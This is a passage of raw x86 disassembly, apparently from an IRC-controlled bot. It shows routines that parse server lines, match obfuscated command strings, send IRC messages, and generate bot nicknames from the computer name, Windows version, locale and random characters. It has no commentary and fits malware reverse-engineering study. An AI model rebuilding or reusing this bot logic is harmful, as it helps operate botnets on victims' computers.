sub_4101D2+50p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] mov ebp, ecx mov ebx, offset asc_438858 ; "\r\n" jmp short loc_410253 ; --------------------------------------------------------------------------- loc_410245: ; CODE XREF: sub_410234+2Cj and byte ptr [esi], 0 push edi mov ecx, ebp call sub_410269 lea edi, [esi+2] loc_410253: ; CODE XREF: sub_410234+Fj push ebx push edi call sub_4235C0 mov esi, eax pop ecx test esi, esi pop ecx jnz short loc_410245 pop edi pop esi pop ebp pop ebx retn 4 sub_410234 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410269 proc near ; CODE XREF: sub_410234+17p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_0] push ebx push esi xor ebx, ebx cmp byte ptr [eax], 3Ah push edi mov [ebp+var_4], ecx mov [ebp+var_8], ebx push 20h jnz loc_4103F5 lea edi, [eax+1] push edi call sub_4233B0 pop ecx cmp eax, ebx pop ecx jz loc_410453 mov [eax], bl inc eax push 20h push eax mov [ebp+arg_0], eax call sub_4233B0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_4102B4 mov [esi], bl inc esi loc_4102B4: ; CODE XREF: sub_410269+46j push 21h push edi mov [ebp+var_14], edi call sub_4233B0 pop ecx cmp eax, ebx pop ecx mov [ebp+var_10], eax jz short loc_4102E5 mov [eax], bl inc [ebp+var_10] push 40h push [ebp+var_10] call sub_4233B0 pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax jz short loc_4102E5 mov [eax], bl inc [ebp+var_C] loc_4102E5: ; CODE XREF: sub_410269+5Dj ; sub_410269+75j mov edi, [ebp+arg_0] push offset aTf ; "'TF" push edi call sub_422760 pop ecx test eax, eax pop ecx jz loc_410445 push offset aZ_0 ; "=Z]" push edi call sub_422760 pop ecx test eax, eax pop ecx jnz short loc_41033D loc_41030E: ; CODE XREF: sub_410269+E3j push [ebp+var_C] mov ecx, [ebp+var_4] push [ebp+var_10] push [ebp+var_14] call sub_40FE51 test eax, eax jz loc_410445 push [ebp+var_C] mov ecx, [ebp+var_4] push [ebp+var_10] push [ebp+var_14] call sub_40FD55 jmp loc_410445 ; --------------------------------------------------------------------------- loc_41033D: ; CODE XREF: sub_410269+A3j push offset dword_43C0A8 push edi call sub_422760 pop ecx test eax, eax pop ecx jz short loc_41030E push offset dword_43C080 push edi call sub_422760 pop ecx test eax, eax pop ecx jnz short loc_41037A push 20h push esi mov [ebp+var_8], esi call sub_4233B0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_410374 loc_410372: ; CODE XREF: sub_410269+139j mov [esi], bl loc_410374: ; CODE XREF: sub_410269+107j inc esi jmp loc_410445 ; --------------------------------------------------------------------------- loc_41037A: ; CODE XREF: sub_410269+F4j push offset dword_43C078 push edi call sub_422760 pop ecx test eax, eax pop ecx jnz short loc_4103A4 push 20h push esi mov [ebp+var_8], esi call sub_4233B0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_410453 jmp short loc_410372 ; --------------------------------------------------------------------------- loc_4103A4: ; CODE XREF: sub_410269+120j push offset dword_43C088 push edi call sub_422760 pop ecx test eax, eax pop ecx jnz loc_410445 mov eax, [ebp+var_4] push dword ptr [eax+8] push [ebp+var_14] call sub_422760 pop ecx test eax, eax pop ecx jnz short loc_410445 mov ebx, [ebp+var_4] push dword ptr [ebx+8] call sub_421C78 push esi call sub_422120 inc eax push eax call sub_423F55 add esp, 0Ch mov [ebx+8], eax push esi push eax call dword_42F04C ; lstrcpyA jmp short loc_410445 ; --------------------------------------------------------------------------- loc_4103F5: ; CODE XREF: sub_410269+19j push eax mov edi, eax call sub_4233B0 pop ecx cmp eax, ebx pop ecx jz short loc_410453 push offset aRa ; "=RA" push edi mov [eax], bl lea esi, [eax+1] call sub_422760 pop ecx test eax, eax pop ecx jnz short loc_410439 cmp esi, ebx jz short loc_410453 mov eax, [ebp+var_4] inc esi push esi push offset aTa ; "=TA" push offset aSS ; "%s %s\r\n" push dword ptr [eax] push eax call sub_40FBDB add esp, 14h jmp short loc_410453 ; --------------------------------------------------------------------------- loc_410439: ; CODE XREF: sub_410269+1AEj mov [ebp+var_C], ebx mov [ebp+var_10], ebx mov [ebp+var_14], ebx mov [ebp+var_8], ebx loc_410445: ; CODE XREF: sub_410269+8Ej ; sub_410269+B8j ... mov ecx, [ebp+var_4] lea eax, [ebp+var_14] push eax push esi push edi call sub_41045A loc_410453: ; CODE XREF: sub_410269+2Cj ; sub_410269+133j ... pop edi pop esi pop ebx leave retn 4 sub_410269 endp ; =============== S U B R O U T I N E ======================================= sub_41045A proc near ; CODE XREF: sub_410269+1E5p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, ecx mov esi, [edi+28h] jmp short loc_410477 ; --------------------------------------------------------------------------- loc_410463: ; CODE XREF: sub_41045A+1Fj push [esp+8+arg_0] push dword ptr [esi] call sub_422760 pop ecx test eax, eax pop ecx jz short loc_41047D mov esi, [esi+8] loc_410477: ; CODE XREF: sub_41045A+7j test esi, esi jnz short loc_410463 jmp short loc_41048C ; --------------------------------------------------------------------------- loc_41047D: ; CODE XREF: sub_41045A+18j push edi push [esp+0Ch+arg_8] push [esp+10h+arg_4] call dword ptr [esi+4] add esp, 0Ch loc_41048C: ; CODE XREF: sub_41045A+21j pop edi pop esi retn 0Ch sub_41045A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410491 proc near ; CODE XREF: start:loc_4010DDp ; sub_401408:loc_401449p ... var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp mov eax, 1000h call sub_4220C0 push esi mov esi, [ebp+arg_0] cmp byte ptr [esi+4], 0 jnz short loc_4104AD xor eax, eax inc eax jmp short loc_4104F3 ; --------------------------------------------------------------------------- loc_4104AD: ; CODE XREF: sub_410491+15j lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_1000] push [ebp+arg_8] push 1000h push eax call sub_423640 lea eax, [ebp+var_1000] push eax push [ebp+arg_4] push offset dword_43C080 push offset aSSS ; "%s %s :%s\r\n" push dword ptr [esi] push esi call sub_40FBDB add esp, 28h mov esi, eax push 1F4h call dword_42F15C ; Sleep mov eax, esi loc_4104F3: ; CODE XREF: sub_410491+1Aj pop esi leave retn sub_410491 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4104F6 proc near ; CODE XREF: start:loc_4010D6p ; sub_401408+37p ... var_FE8 = byte ptr -0FE8h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 0FE8h push esi mov esi, [ebp+arg_0] cmp byte ptr [esi+4], 0 jnz short loc_41050E xor eax, eax inc eax jmp short loc_410554 ; --------------------------------------------------------------------------- loc_41050E: ; CODE XREF: sub_4104F6+11j lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_FE8] push [ebp+arg_8] push 0FE6h push eax call sub_423640 lea eax, [ebp+var_FE8] push eax push [ebp+arg_4] push offset dword_43C078 push offset aSSS_0 ; "%s %s : %s\r\n" push dword ptr [esi] push esi call sub_40FBDB add esp, 28h mov esi, eax push 1F4h call dword_42F15C ; Sleep mov eax, esi loc_410554: ; CODE XREF: sub_4104F6+16j pop esi leave retn sub_4104F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410557 proc near ; CODE XREF: sub_403B2C+2228p var_FE8 = byte ptr -0FE8h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 0FE8h push esi mov esi, [ebp+arg_0] cmp byte ptr [esi+4], 0 jnz short loc_41056F xor eax, eax inc eax jmp short loc_4105B5 ; --------------------------------------------------------------------------- loc_41056F: ; CODE XREF: sub_410557+11j lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_FE8] push [ebp+arg_8] push 0FE6h push eax call sub_423640 lea eax, [ebp+var_FE8] push eax push [ebp+arg_4] push offset dword_43C078 push offset dword_438878 push dword ptr [esi] push esi call sub_40FBDB add esp, 28h mov esi, eax push 1F4h call dword_42F15C ; Sleep mov eax, esi loc_4105B5: ; CODE XREF: sub_410557+16j pop esi leave retn sub_410557 endp ; =============== S U B R O U T I N E ======================================= sub_4105B8 proc near ; CODE XREF: sub_403B2C+1B15p ; sub_403B2C+1D62p ... arg_0 = dword ptr 4 cmp byte ptr [ecx+4], 0 jnz short loc_4105C3 xor eax, eax inc eax jmp short locret_4105DC ; --------------------------------------------------------------------------- loc_4105C3: ; CODE XREF: sub_4105B8+4j push [esp+arg_0] push offset dword_43C0B0 push offset aSS ; "%s %s\r\n" push dword ptr [ecx] push ecx call sub_40FBDB add esp, 14h locret_4105DC: ; CODE XREF: sub_4105B8+9j retn 4 sub_4105B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4105DF proc near ; CODE XREF: sub_416208+438p ; sub_416208+59Fp ... var_FE8 = byte ptr -0FE8h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp sub esp, 0FE8h push esi mov esi, [ebp+arg_0] cmp byte ptr [esi+4], 0 jz short loc_410636 lea eax, [ebp+arg_10] push eax lea eax, [ebp+var_FE8] push [ebp+arg_C] push 0FE6h push eax call sub_423640 add esp, 10h cmp [ebp+arg_8], 0 jz short loc_41063B lea eax, [ebp+var_FE8] push eax call sub_4240A0 pop ecx push eax push [ebp+arg_8] call sub_4240A0 pop ecx push eax call sub_41F2BB pop ecx test eax, eax pop ecx jnz short loc_41063B loc_410636: ; CODE XREF: sub_4105DF+11j xor eax, eax inc eax jmp short loc_410669 ; --------------------------------------------------------------------------- loc_41063B: ; CODE XREF: sub_4105DF+32j ; sub_4105DF+55j lea eax, [ebp+var_FE8] push eax push [ebp+arg_4] push offset dword_43C078 push offset aSSS_0 ; "%s %s : %s\r\n" push dword ptr [esi] push esi call sub_40FBDB add esp, 18h mov esi, eax push 1F4h call dword_42F15C ; Sleep mov eax, esi loc_410669: ; CODE XREF: sub_4105DF+5Aj pop esi leave retn sub_4105DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41066C proc near ; CODE XREF: sub_416208:loc_416647p ; sub_416208:loc_4167AEp ... var_FE8 = byte ptr -0FE8h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp sub esp, 0FE8h push esi mov esi, [ebp+arg_0] cmp byte ptr [esi+4], 0 jz short loc_4106C3 lea eax, [ebp+arg_10] push eax lea eax, [ebp+var_FE8] push [ebp+arg_C] push 0FE6h push eax call sub_423640 add esp, 10h cmp [ebp+arg_8], 0 jz short loc_4106C8 lea eax, [ebp+var_FE8] push eax call sub_4240A0 pop ecx push eax push [ebp+arg_8] call sub_4240A0 pop ecx push eax call sub_41F2BB pop ecx test eax, eax pop ecx jnz short loc_4106C8 loc_4106C3: ; CODE XREF: sub_41066C+11j xor eax, eax inc eax jmp short loc_4106F6 ; --------------------------------------------------------------------------- loc_4106C8: ; CODE XREF: sub_41066C+32j ; sub_41066C+55j lea eax, [ebp+var_FE8] push eax push [ebp+arg_4] push offset dword_43C080 push offset aSSS_0 ; "%s %s : %s\r\n" push dword ptr [esi] push esi call sub_40FBDB add esp, 18h mov esi, eax push 1F4h call dword_42F15C ; Sleep mov eax, esi loc_4106F6: ; CODE XREF: sub_41066C+5Aj pop esi leave retn sub_41066C endp ; =============== S U B R O U T I N E ======================================= sub_4106F9 proc near ; CODE XREF: sub_419EE6+63p arg_0 = dword ptr 4 cmp byte ptr [ecx+4], 0 jnz short loc_410704 xor eax, eax inc eax jmp short locret_41071D ; --------------------------------------------------------------------------- loc_410704: ; CODE XREF: sub_4106F9+4j push [esp+arg_0] push offset aTf ; "'TF" push offset aSS ; "%s %s\r\n" push dword ptr [ecx] push ecx call sub_40FBDB add esp, 14h locret_41071D: ; CODE XREF: sub_4106F9+9j retn 4 sub_4106F9 endp ; =============== S U B R O U T I N E ======================================= sub_410720 proc near ; CODE XREF: sub_403B2C+1B44p ; sub_40C847+ECp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp byte ptr [ecx+4], 0 jnz short loc_41072B xor eax, eax inc eax jmp short locret_410748 ; --------------------------------------------------------------------------- loc_41072B: ; CODE XREF: sub_410720+4j push [esp+arg_4] push [esp+4+arg_0] push offset aTf ; "'TF" push offset dword_438890 push dword ptr [ecx] push ecx call sub_40FBDB add esp, 18h locret_410748: ; CODE XREF: sub_410720+9j retn 8 sub_410720 endp ; =============== S U B R O U T I N E ======================================= sub_41074B proc near ; CODE XREF: sub_403B2C+1B66p ; sub_40C847+DFp ... arg_0 = dword ptr 4 cmp byte ptr [ecx+4], 0 jnz short loc_410756 xor eax, eax inc eax jmp short locret_41076F ; --------------------------------------------------------------------------- loc_410756: ; CODE XREF: sub_41074B+4j push [esp+arg_0] push offset aZ_0 ; "=Z]" push offset aSS ; "%s %s\r\n" push dword ptr [ecx] push ecx call sub_40FBDB add esp, 14h locret_41076F: ; CODE XREF: sub_41074B+9j retn 4 sub_41074B endp ; =============== S U B R O U T I N E ======================================= sub_410772 proc near ; CODE XREF: sub_403B2C+1C02p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] cmp byte ptr [eax+4], 0 jnz short loc_410780 xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_410780: ; CODE XREF: sub_410772+8j push [esp+arg_4] push offset aS_4 ; "%s\r\n" push dword ptr [eax] push eax call sub_40FBDB add esp, 10h retn sub_410772 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410795 proc near ; CODE XREF: sub_4107E8+14p ; sub_41A15F+42p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp byte ptr [ecx+4], 0 jnz short loc_4107A3 xor eax, eax inc eax jmp short loc_4107E4 ; --------------------------------------------------------------------------- loc_4107A3: ; CODE XREF: sub_410795+7j cmp [ebp+arg_8], 0 jnz short loc_4107C6 push [ebp+arg_4] push [ebp+arg_0] push offset dword_43C0A0 push offset dword_438890 push dword ptr [ecx] push ecx call sub_40FBDB add esp, 18h jmp short loc_4107E4 ; --------------------------------------------------------------------------- loc_4107C6: ; CODE XREF: sub_410795+12j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push offset dword_43C0A0 push offset dword_43889C push dword ptr [ecx] push ecx call sub_40FBDB add esp, 1Ch loc_4107E4: ; CODE XREF: sub_410795+Cj ; sub_410795+2Fj pop ebp retn 0Ch sub_410795 endp ; =============== S U B R O U T I N E ======================================= sub_4107E8 proc near ; CODE XREF: sub_41A0E6+5Dp arg_0 = dword ptr 4 cmp byte ptr [ecx+4], 0 jnz short loc_4107F3 xor eax, eax inc eax jmp short locret_410803 ; --------------------------------------------------------------------------- loc_4107F3: ; CODE XREF: sub_4107E8+4j push 0 push [esp+4+arg_0] push dword ptr [ecx+8] call sub_410795 xor eax, eax locret_410803: ; CODE XREF: sub_4107E8+9j retn 4 sub_4107E8 endp ; =============== S U B R O U T I N E ======================================= sub_410806 proc near ; CODE XREF: sub_403B2C+18E3p ; sub_412267+4DFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov [ecx+2Ch], eax mov eax, [esp+arg_0] test eax, eax jnz short loc_41081C call sub_41099D jmp short loc_41087A ; --------------------------------------------------------------------------- loc_41081C: ; CODE XREF: sub_410806+Dj cmp eax, 1 jnz short loc_410828 call sub_410AB7 jmp short loc_41087A ; --------------------------------------------------------------------------- loc_410828: ; CODE XREF: sub_410806+19j cmp eax, 3 jnz short loc_410834 call sub_410930 jmp short loc_41087A ; --------------------------------------------------------------------------- loc_410834: ; CODE XREF: sub_410806+25j cmp eax, 4 jnz short loc_410840 call sub_4108C7 jmp short loc_41087A ; --------------------------------------------------------------------------- loc_410840: ; CODE XREF: sub_410806+31j cmp eax, 2 jz short loc_410875 cmp eax, 5 jnz short loc_410851 call sub_410BF1 jmp short loc_41087A ; --------------------------------------------------------------------------- loc_410851: ; CODE XREF: sub_410806+42j cmp eax, 6 jnz short loc_41085D call sub_410CB4 jmp short loc_41087A ; --------------------------------------------------------------------------- loc_41085D: ; CODE XREF: sub_410806+4Ej cmp eax, 7 jnz short loc_410869 call sub_410DDF jmp short loc_41087A ; --------------------------------------------------------------------------- loc_410869: ; CODE XREF: sub_410806+5Aj cmp eax, 8 jnz short loc_410875 call sub_410F23 jmp short loc_41087A ; --------------------------------------------------------------------------- loc_410875: ; CODE XREF: sub_410806+3Dj ; sub_410806+66j call sub_410882 loc_41087A: ; CODE XREF: sub_410806+14j ; sub_410806+20j ... mov dword_4544A8, eax retn 8 sub_410806 endp ; =============== S U B R O U T I N E ======================================= sub_410882 proc near ; CODE XREF: sub_410806:loc_410875p push ebx push esi push edi push 10h mov ebx, offset byte_4544CC push 0 push ebx mov edi, ecx call sub_4221F0 xor esi, esi add esp, 0Ch cmp [edi+2Ch], esi jl short loc_4108BA loc_4108A0: ; CODE XREF: sub_410882+36j call sub_4220FC push 1Ah cdq pop ecx idiv ecx add dl, 61h mov byte_4544CC[esi], dl inc esi cmp esi, [edi+2Ch] jle short loc_4108A0 loc_4108BA: ; CODE XREF: sub_410882+1Cj and byte_4544CC[esi], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_410882 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4108C7 proc near ; CODE XREF: sub_410806+33p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push 10h mov esi, offset byte_4544AC push ebx push esi call sub_4221F0 add esp, 0Ch lea eax, [ebp+var_4] mov [ebp+var_4], 10h push eax push esi call dword_454354 ; GetComputerNameA movsx eax, byte_4544AC push 41h pop ecx loc_4108FC: ; CODE XREF: sub_4108C7+40j cmp eax, ecx jnz short loc_410903 xor ebx, ebx inc ebx loc_410903: ; CODE XREF: sub_4108C7+37j inc ecx cmp ecx, 5Bh jl short loc_4108FC push 61h pop ecx loc_41090C: ; CODE XREF: sub_4108C7+50j cmp eax, ecx jnz short loc_410913 xor ebx, ebx inc ebx loc_410913: ; CODE XREF: sub_4108C7+47j inc ecx cmp ecx, 7Bh jl short loc_41090C test ebx, ebx jnz short loc_41092A push offset aError ; "Error" push esi call sub_422063 pop ecx pop ecx loc_41092A: ; CODE XREF: sub_4108C7+54j mov eax, esi pop esi pop ebx leave retn sub_4108C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410930 proc near ; CODE XREF: sub_410806+27p var_10 = byte ptr -10h push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi push 10h mov esi, offset byte_454478 push 0 push esi mov ebx, ecx call sub_4221F0 add esp, 0Ch lea eax, [ebp+var_10] push 10h push eax push 7 push 800h call dword_42F080 ; GetLocaleInfoA lea eax, [ebp+var_10] push eax push offset aS_2 ; "%s|" push esi call sub_422063 push esi call sub_422120 add esp, 10h mov edi, eax jmp short loc_410991 ; --------------------------------------------------------------------------- loc_41097C: ; CODE XREF: sub_410930+64j call sub_4220FC push 0Ah cdq pop ecx idiv ecx add dl, 30h mov byte_454478[edi], dl inc edi loc_410991: ; CODE XREF: sub_410930+4Aj cmp edi, [ebx+2Ch] jle short loc_41097C mov eax, esi pop edi pop esi pop ebx leave retn sub_410930 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41099D proc near ; CODE XREF: sub_410806+Fp var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_88 = dword ptr -88h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 98h push ebx push esi push edi xor esi, esi push 10h mov edi, offset byte_4544DC push esi push edi mov ebx, ecx call sub_4221F0 add esp, 0Ch lea eax, [ebp+var_98] mov [ebp+var_98], 94h push eax call dword_42F044 ; GetVersionExA test eax, eax jz loc_410A7D cmp [ebp+var_94], 4 jnz short loc_410A2F cmp [ebp+var_90], esi jnz short loc_410A0F cmp [ebp+var_88], 1 mov eax, offset a95 ; "95" jz short loc_4109FF mov eax, [ebp+var_4] loc_4109FF: ; CODE XREF: sub_41099D+5Dj cmp [ebp+var_88], 2 jnz short loc_410A82 mov eax, offset aNt ; "NT" jmp short loc_410A82 ; --------------------------------------------------------------------------- loc_410A0F: ; CODE XREF: sub_41099D+4Fj cmp [ebp+var_90], 0Ah jnz short loc_410A1F mov eax, offset a98 ; "98" jmp short loc_410A82 ; --------------------------------------------------------------------------- loc_410A1F: ; CODE XREF: sub_41099D+79j cmp [ebp+var_90], 5Ah jnz short loc_410A7D mov eax, offset aMe ; "ME" jmp short loc_410A82 ; --------------------------------------------------------------------------- loc_410A2F: ; CODE XREF: sub_41099D+47j cmp [ebp+var_94], 5 jnz short loc_410A67 cmp [ebp+var_90], esi jnz short loc_410A47 mov eax, offset a2k ; "2K" jmp short loc_410A82 ; --------------------------------------------------------------------------- loc_410A47: ; CODE XREF: sub_41099D+A1j cmp [ebp+var_90], 1 jnz short loc_410A57 mov eax, offset aXp ; "XP" jmp short loc_410A82 ; --------------------------------------------------------------------------- loc_410A57: ; CODE XREF: sub_41099D+B1j cmp [ebp+var_90], 2 jnz short loc_410A7D mov eax, offset a2k3 ; "2K3" jmp short loc_410A82 ; --------------------------------------------------------------------------- loc_410A67: ; CODE XREF: sub_41099D+99j cmp [ebp+var_94], 6 jnz short loc_410A7D cmp [ebp+var_90], esi mov eax, offset aVista ; "Vista" jz short loc_410A82 loc_410A7D: ; CODE XREF: sub_41099D+3Aj ; sub_41099D+89j ... mov eax, offset off_4388B8 loc_410A82: ; CODE XREF: sub_41099D+69j ; sub_41099D+70j ... push eax push edi call sub_422063 push edi call sub_422120 add esp, 0Ch mov esi, eax jmp short loc_410AAB ; --------------------------------------------------------------------------- loc_410A96: ; CODE XREF: sub_41099D+111j call sub_4220FC push 0Ah cdq pop ecx idiv ecx add dl, 30h mov byte_4544DC[esi], dl inc esi loc_410AAB: ; CODE XREF: sub_41099D+F7j cmp esi, [ebx+2Ch] jle short loc_410A96 mov eax, edi pop edi pop esi pop ebx leave retn sub_41099D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410AB7 proc near ; CODE XREF: sub_410806+1Bp var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_98 = dword ptr -98h var_14 = byte ptr -14h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0A8h push ebx push esi push edi xor edi, edi push 10h mov esi, offset dword_4544EC push edi push esi call sub_4221F0 add esp, 0Ch lea eax, [ebp+var_14] push 10h push eax push 7 push 800h call dword_42F080 ; GetLocaleInfoA lea eax, [ebp+var_A8] mov [ebp+var_A8], 94h push eax call dword_42F044 ; GetVersionExA push 0Ah test eax, eax pop ebx jz loc_410BAA cmp [ebp+var_A4], 4 jnz short loc_410B5C cmp [ebp+var_A0], edi jnz short loc_410B3D cmp [ebp+var_98], 1 mov edi, offset a95 ; "95" jz short loc_410B2D mov edi, [ebp+var_4] loc_410B2D: ; CODE XREF: sub_410AB7+71j cmp [ebp+var_98], 2 jnz short loc_410BAF mov edi, offset aNt ; "NT" jmp short loc_410BAF ; --------------------------------------------------------------------------- loc_410B3D: ; CODE XREF: sub_410AB7+63j cmp [ebp+var_A0], ebx jnz short loc_410B4C mov edi, offset a98 ; "98" jmp short loc_410BAF ; --------------------------------------------------------------------------- loc_410B4C: ; CODE XREF: sub_410AB7+8Cj cmp [ebp+var_A0], 5Ah jnz short loc_410BAA mov edi, offset aMe ; "ME" jmp short loc_410BAF ; --------------------------------------------------------------------------- loc_410B5C: ; CODE XREF: sub_410AB7+5Bj cmp [ebp+var_A4], 5 jnz short loc_410B94 cmp [ebp+var_A0], edi jnz short loc_410B74 mov edi, offset a2k ; "2K" jmp short loc_410BAF ; --------------------------------------------------------------------------- loc_410B74: ; CODE XREF: sub_410AB7+B4j cmp [ebp+var_A0], 1 jnz short loc_410B84 mov edi, offset aXp ; "XP" jmp short loc_410BAF ; --------------------------------------------------------------------------- loc_410B84: ; CODE XREF: sub_410AB7+C4j cmp [ebp+var_A0], 2 jnz short loc_410BAA mov edi, offset a2k3 ; "2K3" jmp short loc_410BAF ; --------------------------------------------------------------------------- loc_410B94: ; CODE XREF: sub_410AB7+ACj cmp [ebp+var_A4], 6 jnz short loc_410BAA cmp [ebp+var_A0], edi mov edi, offset aVista ; "Vista" jz short loc_410BAF loc_410BAA: ; CODE XREF: sub_410AB7+4Ej ; sub_410AB7+9Cj ... mov edi, offset off_4388B8 loc_410BAF: ; CODE XREF: sub_410AB7+7Dj ; sub_410AB7+84j ... call sub_4220FC cdq mov ecx, ebx idiv ecx add edx, 30h push edx call sub_4220FC cdq mov ecx, ebx idiv ecx add edx, 30h push edx call sub_4220FC cdq idiv ebx lea eax, [ebp+var_14] add edx, 30h push edx push edi push eax push offset aSSCCC ; "%s|%s|%c%c%c" push esi call sub_422063 add esp, 1Ch mov eax, esi pop edi pop esi pop ebx leave retn sub_410AB7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410BF1 proc near ; CODE XREF: sub_410806+44p var_18 = byte ptr -18h var_8 = dword ptr -8 var_2 = byte ptr -2 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi xor ebx, ebx push 10h mov esi, offset dword_4544FC push ebx push esi mov edi, ecx call sub_4221F0 add esp, 0Ch mov ecx, edi mov [edi+34h], ebx mov [edi+38h], ebx mov [edi+3Ch], ebx call sub_41101E mov [ebp+var_8], eax lea eax, [ebp+var_18] push 10h push eax push 7 push 800h call dword_42F080 ; GetLocaleInfoA push [ebp+var_8] push esi call sub_423270 lea eax, [ebp+var_18] push eax push esi call sub_423270 push offset asc_4388F4 ; "|" push esi call sub_423270 xor eax, eax add esp, 18h inc eax cmp [edi+34h], ebx jz short loc_410C61 push 2 pop eax loc_410C61: ; CODE XREF: sub_410BF1+6Bj cmp [edi+38h], ebx jz short loc_410C67 inc eax loc_410C67: ; CODE XREF: sub_410BF1+73j cmp [edi+3Ch], ebx jz short loc_410C6D inc eax loc_410C6D: ; CODE XREF: sub_410BF1+79j push 5 pop edi cmp eax, edi jge short loc_410CA0 sub edi, eax loc_410C76: ; CODE XREF: sub_410BF1+ADj call sub_4220FC push 0Ah cdq pop ecx idiv ecx lea eax, [ebp+var_2] push edx push offset aI_1 ; "%i" push eax call sub_422063 lea eax, [ebp+var_2] push eax push esi call sub_423270 add esp, 14h dec edi jnz short loc_410C76 loc_410CA0: ; CODE XREF: sub_410BF1+81j push offset asc_4388F4 ; "|" push esi call sub_423270 pop ecx mov eax, esi pop ecx pop edi pop esi pop ebx leave retn sub_410BF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410CB4 proc near ; CODE XREF: sub_410806+50p var_4C = byte ptr -4Ch var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 var_1 = byte ptr -1 push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi push 10h mov ebx, offset dword_454488 push 0 push ebx call sub_4221F0 add esp, 0Ch call dword_42F164 ; GetTickCount xor edx, edx mov ecx, 5265C00h div ecx mov [ebp+var_C], eax call sub_4220FC push 1Ah mov esi, offset aAbcdefghijklmn ; "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLM"... cdq pop ecx lea edi, [ebp+var_4C] idiv ecx push 10h pop ecx rep movsd add dl, 61h mov [ebp+var_8], dl call sub_4220FC push 24h pop esi cdq mov ecx, esi idiv ecx mov al, [ebp+edx+var_4C] mov [ebp+var_7], al call sub_4220FC cdq mov ecx, esi idiv ecx mov al, [ebp+edx+var_4C] mov [ebp+var_6], al call sub_4220FC cdq mov ecx, esi idiv ecx mov al, [ebp+edx+var_4C] mov [ebp+var_5], al call sub_4220FC cdq mov ecx, esi idiv ecx mov al, [ebp+edx+var_4C] mov [ebp+var_4], al call sub_4220FC cdq mov ecx, esi idiv ecx mov al, [ebp+edx+var_4C] mov [ebp+var_3], al call sub_4220FC cdq mov ecx, esi idiv ecx mov al, [ebp+edx+var_4C] mov [ebp+var_2], al call sub_4220FC cdq mov ecx, esi idiv ecx mov al, [ebp+edx+var_4C] mov [ebp+var_1], al call sub_4220FC cdq idiv esi mov dl, [ebp+edx+var_4C] movsx eax, dl push eax movsx eax, [ebp+var_1] push eax movsx eax, [ebp+var_2] push eax movsx eax, [ebp+var_3] push eax cmp [ebp+var_C], 5 movsx eax, [ebp+var_4] push eax movsx eax, [ebp+var_5] push eax movsx eax, [ebp+var_6] push eax movsx eax, [ebp+var_7] push eax movsx eax, [ebp+var_8] push eax jbe short loc_410DCA push [ebp+var_C] push offset aDCCCCCCCCC ; "|%d|%c%c%c%c%c%c%c%c%c" push ebx call sub_422063 add esp, 30h jmp short loc_410DD8 ; --------------------------------------------------------------------------- loc_410DCA: ; CODE XREF: sub_410CB4+101j push offset aCCCCCCCCC ; "%c%c%c%c%c%c%c%c%c" push ebx call sub_422063 add esp, 2Ch 